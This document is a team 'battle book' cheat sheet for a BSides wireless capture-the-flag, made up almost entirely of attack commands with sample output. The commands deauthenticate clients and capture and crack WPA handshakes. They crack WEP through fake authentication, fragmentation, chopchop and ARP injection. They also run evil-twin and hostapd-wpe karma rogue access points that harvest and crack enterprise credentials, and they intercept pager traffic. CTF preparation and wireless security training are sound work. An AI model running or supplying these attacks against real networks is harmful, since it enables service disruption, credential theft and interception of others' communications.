**DaKahuna/SimonJ/TheRedBaron**

**Battle Book**

1. **Connect wlan0 to con WIFI network**

**Open network**

**ifconfig wlan0 up**

**iwconfig wlan0 essid “WCTF”**

**WPA**

**wpa\_passphrase BSides-wifi password > /etc/wpa\_supplicant/wpa\_supplicant.conf**

**wpa-b**

1. **Configure pine with proper email address for flag submissions**

**Other capture:**

**airodump-ng --channel 1 –w /root/Desktop/dump wlan0mon**

**airodump-ng wlan1mon --essid-regex BSidesDC\* –w /root/Desktop/CTF/capture.cap**

**nohup tcpdump –i wlan1mon –w /root/Desktop/CTF/capture2.cap &**

1. **Set up CTF docs**

**cd**

**touch notes.txt**

1. **Get my macs and paste into notes.txt**

**cd**

**ifconfig wlan1 >> notes.txt**

**ifconfig wlan2 >> notes.txt**

**ifconfig wlan3 >> notes.txt**

1. **Get list of active Aps**

**airodump-ng --essid-regex BSidesDC\* >> notes.txt**

1. **Start kismet capture**

**mkdir kismet**

**cd kismet**

**kismet**

1. **Set up and go to Fox Hunt**

**wifi-analyzer**

1. **Return from Fox Hunt**
2. **Use Wireshark to check kismet dump for WPA handshakes**

**Use display filter EAPOL**

1. **Deauth for WPA**

**Create blacklist of APs to hit (see step 5.)**

**touch /root/Desktop/blacklist.txt**

**put essid’s of WPA networks into blacklist.txt**

**mdk3 wlan3mon d –b blacklist.txt**

**aireplay-ng –-deauth 0 –e BSIDES –h client\_mac wlan0mon**

**aireplay-ng -0 1 -a AP\_mac –c client\_mac wlan1**

1. **Crack WPA handshakes**

**aircrack-ng -w /usr/share/dict/cracklib-words -b AP\_mac /tmp/\*pcapdump**

**aircrack-ng -K -b AP\_mac /root/kismet/\*.cap**

1. **Crack WEP**

**aircrack-ng /tmp/\*pcapdump**

**aircrack-ng -b 00:14:6C:7E:40:80 /tmp/\*pcapdump**

**aircrack-ng -K -b 00:14:6C:7E:40:80 /tmp/\*pcapdump**

1. **Do fake auth against WEP Aps**

**aireplay-ng -1 0 -e BSIDES -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 wlan0mon**

Where:

* -1 means fake authentication
* 0 reassociation timing in seconds
* -e BSIDES is the wireless network name
* -a 00:14:6C:7E:40:80 is the access point MAC address
* -h 00:09:5B:EC:EE:F2 is our card MAC address
* wlan0mon is the wireless interface name

1. **Do frag attack against WEP APs**

**aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 wlan0mon**

1. **Do Chop Chop against WEP APs**

**CHOPCHOP**

**aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 wlan0mon**

Where:

* -4 means the chopchop attack
* -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
* -b 00:14:6C:7E:40:80 is the access point MAC address
* wlan0mon is the wireless interface name

**Success! The file “fragment-0203-180343.xor” can then be used in the next step to generate an arp packet.**

1. **Use packetforge-ng to create an arp packet**

In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. This PRGA is stored in the files ending with “xor”. We can then use this PRGA to generate a packet for injection. We will be generating an arp packet for injection. The objective is to have the access point rebroadcast the injected arp packet. When it rebroadcasts it, a new IV is obtained. All these new IVs will ultimately be used to crack the WEP key.

But first, lets generate the arp packet for injection by entering:

**packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request**

Where:

* -0 means generate an arp packet
* -a 00:14:6C:7E:40:80 is the access point MAC address
* -h 00:09:5B:EC:EE:F2 is MAC address of our card
* -k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255)
* -l 255.255.255.255 is the source IP (most APs respond to 255.255.255.255)
* -y fragment-0203-180343.xor is file to read the PRGA from (NOTE: Change the file name to the actual file name out in step 4 above)
* -w arp-request is name of file to write the arp packet to

**Karma Attack**

**Running hostapd-wpe**

cd /opt/hostapd-2.2/hostapd

./hostapd-wpe hostapd-wpe.conf

With all of that complete, you can run hostapd. The patch will

create a new hostapd-wpe.conf, which you'll likely need to modify

in order to make it work for your attack. Once ready just run

hostapd hostapd-wpe.conf

Look in the output for the username/challenge/response. It'll be there

and in a hostapd-wpe.log file in the directory you ran hostapd from

for instance here are the EAP-FAST Phase 0 creds from stdout:

username: jdslfkjs

challenge: bc:87:6c:48:37:d3:92:6e

response: 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0

and as always, we feed them into asleap to crack:

# asleap -C bc:87:6c:48:37:d3:92:6e -R 2d:00:61:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 -W wordlist

asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>

hash bytes: b1ca

NT hash: e614b958df9df49ec094b8730f0bb1ca

password: bradtest

Alternatively MSCHAPv2 credentials are outputted in john the rippers NETNTLM format.

EAP-Success

--------------

Certain EAP types do not require the server to authenticate itself, just to validate the client's submitted credentials. Since we're playing the authentication server, that means we can easily just return an EAP-Success message to the client regardless of what they send us. The client is happy because they've connected, but unfortunately are unaware that they are connected to an unapproved authenticator.

At this point, the attacker can set up a dhcp server and give the client an IP and then do whatever they'd like (e.g. redirect dns, launch attacks, MiTM, etc..)

MSCHAPv2 protects against this by having the server prove knowledge of the password most supplicants adhere to this policy, but we return EAP-Success just in case.

Karma-Style Probes

------------------

This functionality simply waits for an client to send a directed probe, when it does, it assumes that SSID and responds to the client. Only applicable to 802.11 clients.

A note on MSCHAPv2

-------------------

Microsoft offers something called "Computer Based Authentication". When a computer joins a domain it is assigned a password. This password is stored on the system and in active directory. We can harvest the MSCHAPv2 response from these systems but its going to take a lifetime to crack. Unless you're just trying to solve for the

hash, and not the actual password :)

One other thing to note, if the client returns all zeros, it isnt joined to a domain.

Success and Capture

While hostapd-wpe is running, keep an eye on the console output for username/challenge/response combinations. Alternatively, you can tail the log file in the same directory. In both cases, the output will resemble the following:

username: patchwork challenge: ac:57:6b:4a:27:99:9c:51 response: 2e:01:41:5c:g6:76:0b:dc:25:3a:0e:96:a8:fb:f1:fd:a2:14:8a:02:10:0 2:6c:ff

The challenge and response can be fed to Asleap for speedy, wordlist- based cracking. Additionally, MSCHAPv2 creds are also output in the NetNTLM format which can be used with John the Ripper.

**asleap -C ac:57:6b:4a:27:99:9c:51 -R 2e:01:41:5c:g6:76:0b:dc:25:3a:0e:96:a8:fb:f1:fd:a2:14:8a:0 2:10:02:6c:ff -W /usr/share/dict/cracklib-words**

asleap 2.2 – actively recover LEAP/PPTP passwords. <jwright@hasborg.com> hash bytes: b1cd NT hash: a4f49c406510bdcab6824ee7c30fd852 password: password

**Evil Twin using airbase**

1. Run airodump-ng to see if client associated with AP

**airodump-ng --essid-regex WCTF\***

1. Boost our rogue AP to max power

**iwconfig wlan1 txpower 27**

1. set up deauth of client from legit AP

**aireplay-ng --deauth 0 –a AP\_Mac**

1. set up rogue AP

**airbase-ng –a AP\_Mac --essid “WCTF15” –c 11 wlan1**

**Tutorial: How to crack WEP with no wireless clients**

**Step 1 - Start the wireless interface in monitor mode on AP channel**

Enter the following command to start the wireless card on channel 9 in monitor mode:

**airmon-zc start wlan0 9**

The system will respond:

Interface Chipset Driver

wlan0 Atheros madwifi-ng

wlan0mon Atheros madwifi-ng VAP (parent: wlan0) (monitor mode enabled)

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

**lo no wireless extensions.**

**eth0 no wireless extensions.**

**wlan0 no wireless extensions.**

**wlan0mon IEEE 802.11g ESSID:"" Nickname:""**

**Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2**

**Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3**

**Retry:off RTS thr:off Fragment thr:off**

**Encryption key:off**

**Power Management:off**

**Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm**

**Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0**

**Tx excessive retries:0 Invalid misc:0 Missed beacon:0**

**Step 2 - Use aireplay-ng to do a fake authentication with the access point**

In order for an access point to accept a packet, the source MAC address must already be associated.

To associate with an access point, use fake authentication:

**aireplay-ng -1 0 -e BSIDES -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 wlan0mon**

Where:

* -1 means fake authentication
* 0 reassociation timing in seconds
* -e BSIDES is the wireless network name
* -a 00:14:6C:7E:40:80 is the access point MAC address
* -h 00:09:5B:EC:EE:F2 is our card MAC address
* wlan0mon is the wireless interface name

Success looks like:

18:18:20 Sending Authentication Request

18:18:20 Authentication successful

18:18:20 Sending Association Request

18:18:20 Association successful :-)

Or another variation for picky access points:

**aireplay-ng -1 6000 -o 1 -q 10 -e BSIDES -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 wlan0mon**

Where:

* 6000 - Reauthenticate very 6000 seconds. The long period also causes keep alive packets to be sent.
* -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
* -q 10 - Send keep alive packets every 10 seconds.

Success looks like:

18:22:32 Sending Authentication Request

18:22:32 Authentication successful

18:22:32 Sending Association Request

18:22:32 Association successful :-)

18:22:42 Sending keep-alive packet

18:22:52 Sending keep-alive packet

# and so on.

Here is an example of what a failed authentication looks like:

8:28:02 Sending Authentication Request

18:28:02 Authentication successful

18:28:02 Sending Association Request

18:28:02 Association successful :-)

18:28:02 Got a deauthentication packet!

18:28:05 Sending Authentication Request

18:28:05 Authentication successful

18:28:05 Sending Association Request

18:28:10 Sending Authentication Request

18:28:10 Authentication successful

18:28:10 Sending Association Request

Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.

**Troubleshooting Tips**

* Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. See the MAC access control troubleshooting tip [here](http://www.aircrack-ng.org/doku.php?id=i_am_injecting_but_the_ivs_don_t_increase&DokuWiki=6a98f589ec171d976ab1600c6641c9a4#troubleshooting_tips).
* If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…

Run:

**tcpdump -n -e -s0 -vvv -i wlan0mon**

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station

Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:09:5B:EC:EE:F2) you are not associated. Meaning, the AP will not process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can use:

**tcpdump -n -e -s0 -vvv -i wlan0mon | grep -i DeAuth**

You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

**\*\*USE THE BELOW ATTACKS IF FAKE AUTH FAILS\*\***

**Step 3 - Use aireplay-ng chopchop or fragmenation attack to obtain PRGA**

Start another console session and run:

**FRAG**

**aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 wlan0mon**

Where:

* -5 means the fragmentation attack
* -b 00:14:6C:7E:40:80 is the access point MAC address
* -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
* wlan0mon is the wireless interface name

The system will respond:

Waiting for a data packet...

Read 127 packets...

Size: 114, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:14:6C:7E:40:80

Dest. MAC = 01:00:5E:00:00:FB

Source MAC = 00:40:F4:77:E5:C9

0x0000: 0842 0000 0100 5e00 00fb 0014 6c7e 4080 .B....^.....l~@.

0x0010: 0040 f477 e5c9 6052 8c00 0000 3073 d265 .@.w..`R....0s.e

0x0020: c402 790b 2293 c7d5 89c5 4136 7283 29df ..y.".....A6r.).

0x0030: 4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b N.^.\_CO..7?.M..;

0x0040: 8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5 .DX...z.+.>...O.

0x0050: 4563 906d 0d90 88c4 5532 a602 a8ea f8e2 Ec.m....U2......

0x0060: c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1 .1..+(...."m.qj.

0x0070: 9c9f ..

Use this packet ? y

When a packet from the access point arrives, enter “y” to proceed. You may need to try a few different packets from the AP to be successful. These packets have ”“FromDS: 1”.

When successful, the system responds:

Saving chosen packet in replay\_src-0203-180328.cap

Data packet found!

Sending fragmented packet

Got RELAYED packet!!

Thats our ARP packet!

Trying to get 384 bytes of a keystream

Got RELAYED packet!!

Thats our ARP packet!

Trying to get 1500 bytes of a keystream

Got RELAYED packet!!

Thats our ARP packet!

Saving keystream in fragment-0203-180343.xor

Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Success! The file “fragment-0203-180343.xor” can then be used in the next step to generate an arp packet.

If the fragmentation attack was not successful, you can then try the chopchop technique next. Run:

**CHOPCHOP**

**aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 wlan0mon**

Where:

* -4 means the chopchop attack
* -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
* -b 00:14:6C:7E:40:80 is the access point MAC address
* wlan0mon is the wireless interface name

The system responds:

Read 165 packets...

Size: 86, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:14:6C:7E:40:80

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 00:40:F4:77:E5:C9

0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@.

0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:....\_.."

0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H.......\_=..C

0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s

0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i.

0x0050: cfeb 4a72 be46 ..Jr.F

Use this packet ? y

You respond “y” above and the system continues.

Saving chosen packet in replay\_src-0201-191639.cap

Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms

Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames

written in 695ms

Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms

Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms

Sent 957 packets, current guess: B9...

The AP appears to drop packets shorter than 35 bytes.

Enabling standard workaround: ARP header re-creation.

Saving plaintext in replay\_dec-0201-191706.cap

Saving keystream in replay\_dec-0201-191706.xor

Completed in 21s (2.29 bytes/s)

**Success! The file “replay\_dec-0201-191706.xor” above can then be used in the next step to generate an arp packet.**

**Step 4 - Use packetforge-ng to create an arp packet**

In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. This PRGA is stored in the files ending with “xor”. We can then use this PRGA to generate a packet for injection. We will be generating an arp packet for injection. The objective is to have the access point rebroadcast the injected arp packet. When it rebroadcasts it, a new IV is obtained. All these new IVs will ultimately be used to crack the WEP key.

But first, lets generate the arp packet for injection by entering:

**packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request**

Where:

* -0 means generate an arp packet
* -a 00:14:6C:7E:40:80 is the access point MAC address
* -h 00:09:5B:EC:EE:F2 is MAC address of our card
* -k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255)
* -l 255.255.255.255 is the source IP (most APs respond to 255.255.255.255)
* -y fragment-0203-180343.xor is file to read the PRGA from (NOTE: Change the file name to the actual file name out in step 4 above)
* -w arp-request is name of file to write the arp packet to

The system will respond:

Wrote packet to: arp-request

**Step 5 - Start airodump-ng**

Open another console session to capture the generated IVs. Then enter:

**airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture wlan0mon**

Where:

* -c 9 is the channel for the wireless network
* --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
* -w capture is file name prefix for the file which will contain the captured packets.
* wlan0mon is the interface name.

**Step 6 - Inject the arp packet**

Using the console session where you generated the arp packet, enter:

**aireplay-ng -2 -r arp-request wlan0mon**

Where:

* -2 means use interactive frame selection
* -r arp-request defines the file name from which to read the arp packet
* wlan0mon defines the interface to use

The system will respond:

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 00:09:5B:EC:EE:F2

0x0000: 0841 0201 0014 6c7e 4080 0009 5bec eef2 .A....l~@...[...

0x0010: ffff ffff ffff 8001 8f00 0000 7af3 8be4 ............z...

0x0020: c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5 ...........q.Z8.

0x0030: f286 fdb3 55ee 113e da14 fb19 17cc 0b5e ....U..>.......^

0x0040: 6ada 92f2 j...

Use this packet ? y

Enter “y” to use this packet. The system responds by showing how many packets it is injecting and reminds you to start airodump-ng if it has not already been started:

Saving chosen packet in replay\_src-0204-104917.cap

You should also start airodump-ng to capture replies.

End of file.

While this command is successfully running, the airodump-ng screen will look similar to:

CH 9 ][ Elapsed: 16 s ][ 2007-02-04 11:04

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:14:6C:7E:40:80 47 100 179 2689 336 9 11 WEP WEP BSIDES

BSSID STATION PWR Lost Packets Probes

00:14:6C:7E:40:80 00:09:5B:EC:EE:F2 29 0 2707

You will notice that only one access point is being display since we included an airodump-ng filter to limit the capture to a single BSSID. Also notice that the station packets are roughly equal to the BSSID data packets. This means injection is working well. Also notice the data rate of 336 packets per second which is also an indicator that the injection is working well. This is a pretty “ideal” injection scenario.

**Troubleshooting Tips**

* If the BSSID data packets are not increasing, make sure you are still associated with the access point. To do this, follow the tcpdump instructions in step 2.

**Step 7 - Run aircrack-ng to obtain the WEP key**

Start another console session and enter:

**aircrack-ng -b 00:14:6C:7E:40:80 capture\*.cap**

Where:

* capture\*.cap selects all dump files starting with “capture” and ending in “cap”.
* -b 00:14:6C:7E:40:80 selects the one access point we are interested in

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. Using the PTW method, 40-bit WEP can be cracked with as few as 20,000 data packets and 104-bit WEP with 40,000 data packets. As a reminder, the requirement is that you capture the full packet with airodump-ng. Meaning, do not use the “--ivs” option.

Troubleshooting Tips:

* Sometimes you need to try various techniques to crack the WEP key. Try ”-n” to set various key lengths. Use ”-f” and try various fudge factors. Use ”-k” and try disabling various korek methods.

**Alternate Solution**

You must also do a successful fake authentication first.

Enter the following command:

**aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 wlan0mon**

Where:

* -2 means use interactive frame selection
* -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client.
* -c FF:FF:FF:FF:FF:FF sets the destination MAC address to be a broadcast. This is required to cause the AP to replay the packet and thus getting the new IV.
* -b 00:14:6C:7E:40:80 is the access point MAC address
* -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
* wlan0mon defines the interface to use

The system will respond:

Read 698 packets...

Size: 86, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:14:6C:7E:40:80

Dest. MAC = FF:FF:FF:FF:FF:FF

Source MAC = 00:D0:CF:03:34:8C

0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@.

0x0010: 00d0 cf03 348c a0f4 2000 0000 e233 962a ....4... ....3.\*

0x0020: 90b5 fe67 41e0 9dd5 7271 b8ed ed23 8eda ...gA...rq...#..

0x0030: ef55 d7b0 a56f bc16 355f 8986 a7ab d495 .U...o..5\_......

0x0040: 1daa a308 6a70 4465 9fa6 5467 d588 c10c ....jpDe..Tg....

0x0050: f043 09f6 5418 .C..T.

Use this packet ? y

You enter “y” to select the packet and start injecting it. Remember, the smaller the packet, the better. You then start injecting:

Saving chosen packet in replay\_src-0411-145110.cap

Sent 10204 packets...(455 pps)

If you have not already started airodump-ng, be sure to start it now. Once you have sufficient IVs,

**airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture wlan0mon**

you can start aircrack-ng and attempt to crack the WEP key.

**aircrack-ng -b 00:14:6C:7E:40:80 capture\*.cap**

Another variation of this attack is to use packets from a previous capture. You must have captured the full packets, not just the IVs.

Here is what the command would look like:

**aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -r capture-01.cap wlan0mon**

Where ” -r capture-01.cap” is data from a previous capture.

**WPA**

**aircrack-ng –w /usr/share/dict/all -b 00:19:5B:52:AD:F7 /root/Desktop/CTF/capture.cap**

**JOHN THE RIPPER**

root@bt:~# john --stdout --incremental:all | aircrack-ng -b 00:19:5B:52:AD:F7 -w - /tmp/wpa2\*.cap

**Wireshark and Tshark**

Wireshark filter for handshakes

**EAPOL**

Display filter for mac address

**tshark -i 1 -R "eth.addr eq xx:xx:xx:xx:xx:xx”**

**How to Strip your Handshake with Wireshark:**

* Open your Capture in Wireshark

Enter "**eapol || wlan.fc.type\_subtype == 0x04 || wlan.fc.type\_subtype == 0x08**" as filter expression (without quotes) then press "Apply"

 Go to File -> Save As... Menu, Enter new File name and select "Displayed" to save filtered packets only.

**Online handshake crack**

* <https://www.cloudcracker.com>

**Display Filter**

A complete list of 802.11 display filter fields can be found in the [wlan](http://www.wireshark.org/docs/dfref/w/wlan.html), [wlan\_mgt](http://www.wireshark.org/docs/dfref/w/wlan_mgt.html), and [wlan\_aggregate](http://www.wireshark.org/docs/dfref/w/wlan_aggregate.html) display filter references.

Show only the 802.11-based traffic:

wlan

 Show only the 802.11-based traffic to and from 802.11 MAC address 08:00:08:15:ca:fe:

wlan.addr==08.00.08.15.ca.fe

Hide beacon frames:

wlan.fc.type\_subtype != 0x08

Show management frames for a specific SSID:

wlan\_mgt.ssid == "Spatula City"

Access Points with ‘cloaked’ or ‘hidden’ SSIDs

wlan.bssid==xx:xx:xx:xx:xx:xx and wlan.fc.type\_subtype==0

**Pocsag decoding**

**rtl\_fm -N -o 4 -A lut -s 22050 -C -f 153.350M - | multimon-ng -t raw -a POCSAG512 -a POCSAG1200 -a POCSAG2400 -f alpha /dev/stdin**

**Pocsag play**

**rtl\_fm -f 153.350M | aplay -r 24k -f S16\_LE -t raw -c 1**

**rtl\_fm -f 153.353e6 -g 100 -s 22050 -l 310 – | multimon-ng -t raw -a POCSAG1200 -f alpha /dev/stdin**

Once you've found a POCSAG channel, you can then plug your RTL dongle back into the Pi and use the following command to send output to the headphone jack. In the following example I'm tuning to 153.350MHz. This also has the side benefit of turning your RPi into an FM radio 

**rtl\_fm -f 153.350M | aplay -r 24k -f S16\_LE -t raw -c 1**

and finally to decode them using multimon-ng and output to stdin, you can use

**rtl\_fm -N -o 4 -A lut -s 22050 -C -f 153.350M - | multimon-ng -t raw -a POCSAG512 -a POCSAG1200 -a POCSAG2400 -f alpha /dev/stdin**

**Channel 13**

**iw get reg**

**iw set reg JP**

**Cheatsheet : Cracking WPA2 PSK**

**First, put the card in monitor mode :**

root@bt:~# **airmon-zc**

root@bt:~# **airmon-zc start wlan0 6 🡨channel 6**

**Let’s find a wireless network that uses WPA2 / PSK :**

root@bt:~# **airodump-ng wlan0mon --essid-regex BSIDESDC\***

**Stop airodump-ng and run it again, writing all packets to disk :**

**airodump-ng wlan0mon --channel 10 --bssid 00:19:5B:52:AD:F7 -w /tmp/wpa2**

**DEAUTH**

We need the bssid of the AP (-a) and the mac of a connected client (-c)

Access Point Client

**aireplay-ng -0 1 -a 00:19:5B:52:AD:F7 -c 00:1C:BF:90:5B:A3 wlan0mon**

**mdk3 wlan0mon d –c 11**

As a result, **airodump-ng should indicate “WPA Handshake:” in the upper right corner**

CH 10 ][ Elapsed: 2 mins ][ 2009-02-21 13:04 ][ **WPA handshake: 00:19:5B:52:AD:F7**

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:19:5B:52:AD:F7 -33 100 1338 99 0 10 54 WPA2 CCMP PSK TestNet

BSSID STATION PWR Rate Lost Packets Probe

00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -27 54-54 0 230

**Stop airodump-ng and make sure the files were created properly**

root@bt:/# ls /tmp/wpa2\* -al

-rw-r--r-- 1 root root 35189 2009-02-21 13:04 /tmp/wpa2-01.cap

-rw-r--r-- 1 root root 476 2009-02-21 13:04 /tmp/wpa2-01.csv

-rw-r--r-- 1 root root 590 2009-02-21 13:04 /tmp/wpa2-01.kismet.csv

**aircrack-ng –w /usr/share/dict/craclib-small -b 00:19:5B:52:AD:F7 /tmp/wpa2\*.cap**

**Script Kiddie WEP Crack (10,000 IVs)**

**Airmon-ng start wlan1 11**

**In Console 1:**

**airodump-ng --channel 1 wlan0mon --write channel1 –-bssid AP\_mac\_address**

**In Console 2:**

**aireplay-ng –-arpreplay –e BSIDES wlan0mon**

**In Console 3:**

**aireplay-ng –-deauth 0 –e BSIDES –h client\_mac wlan0mon**

**Ctr-C**

**In Console 4:**

**aircrack-ng channel1.cap**

**Simple WEP Crack**

**Step 1 - Start the wireless interface in monitor mode on AP channel**

Enter the following command to start the wireless card on channel 9 in monitor mode:

**airmon-zc start wlan0 9 🡨channel 9**

**Step 2 - Test Wireless Device Packet Injection**

The purpose of this step ensures that your card is within distance of your AP and can inject packets to it.

~~Enter:~~

**aireplay-ng -9 -e BSIDES -a 00:14:6C:7E:40:80 wlan0mon**

Where:

* -9 means injection test
* -e BSIDES is the wireless network name
* -a 00:14:6C:7E:40:80 is the access point MAC address
* wlan0mon is the wireless interface name

**Step 3 - Start airodump-ng to capture the IVs**

Open another console session to capture the generated IVs. Then enter:

**airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output wlan0mon**

Where:

* -c 9 is the channel for the wireless network
* --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
* -w capture is file name prefix for the file which will contain the IVs.
* wlan0mon is the interface name.

**Step 4 - Use aireplay-ng to do a fake authentication with the access point**

In order for an access point to accept a packet, the source MAC address must already be associated.

To associate with an access point, use fake authentication:

**aireplay-ng -1 0 -e BSIDES -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0mon**

Where:

* -1 means fake authentication
* 0 reassociation timing in seconds
* -e BSIDES is the wireless network name
* -a 00:14:6C:7E:40:80 is the access point MAC address
* -h 00:0F:B5:88:AC:82 is our card MAC address
* wlan0mon is the wireless interface name

**Step 4 - Start aireplay-ng in ARP request replay mode**

Open another console session and enter:

**aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0mon**

You should also start airodump-ng to capture replies.

**airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture wlan0mon**

**Step 5 - Run aircrack-ng to obtain the WEP key**

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.

Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include ”-n 64” to limit the checking of keys to 64 bits.

Two methods will be shown. It is recommended you try both for learning purposes. By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method. As a reminder, the PTW method only works successfully with arp request/reply packets. Since this tutorial covers injection of ARP request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the ”--ivs” option.

Start another console session and enter:

**aircrack-ng -b 00:14:6C:7E:40:80 output\*.cap**

Where:

* -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
* output\*.cap selects all files starting with “output” and ending in ”.cap”.

To also use the FMS/Korek method, start another console session and enter:

**aircrack-ng -K -b 00:14:6C:7E:40:80 output\*.cap**

Where:

* -K invokes the FMS/Korek method
* -b 00:14:6C:7E:40:80 Access Point mac address.
* output\*.cap selects all files starting with “output” and ending in ”.cap”.

If you are using 1.0-rc1, add the option ”-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)

You will need approximately 250,000 IVs for 64 bit and

1,500,000 IVs for 128 bit keys.

If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.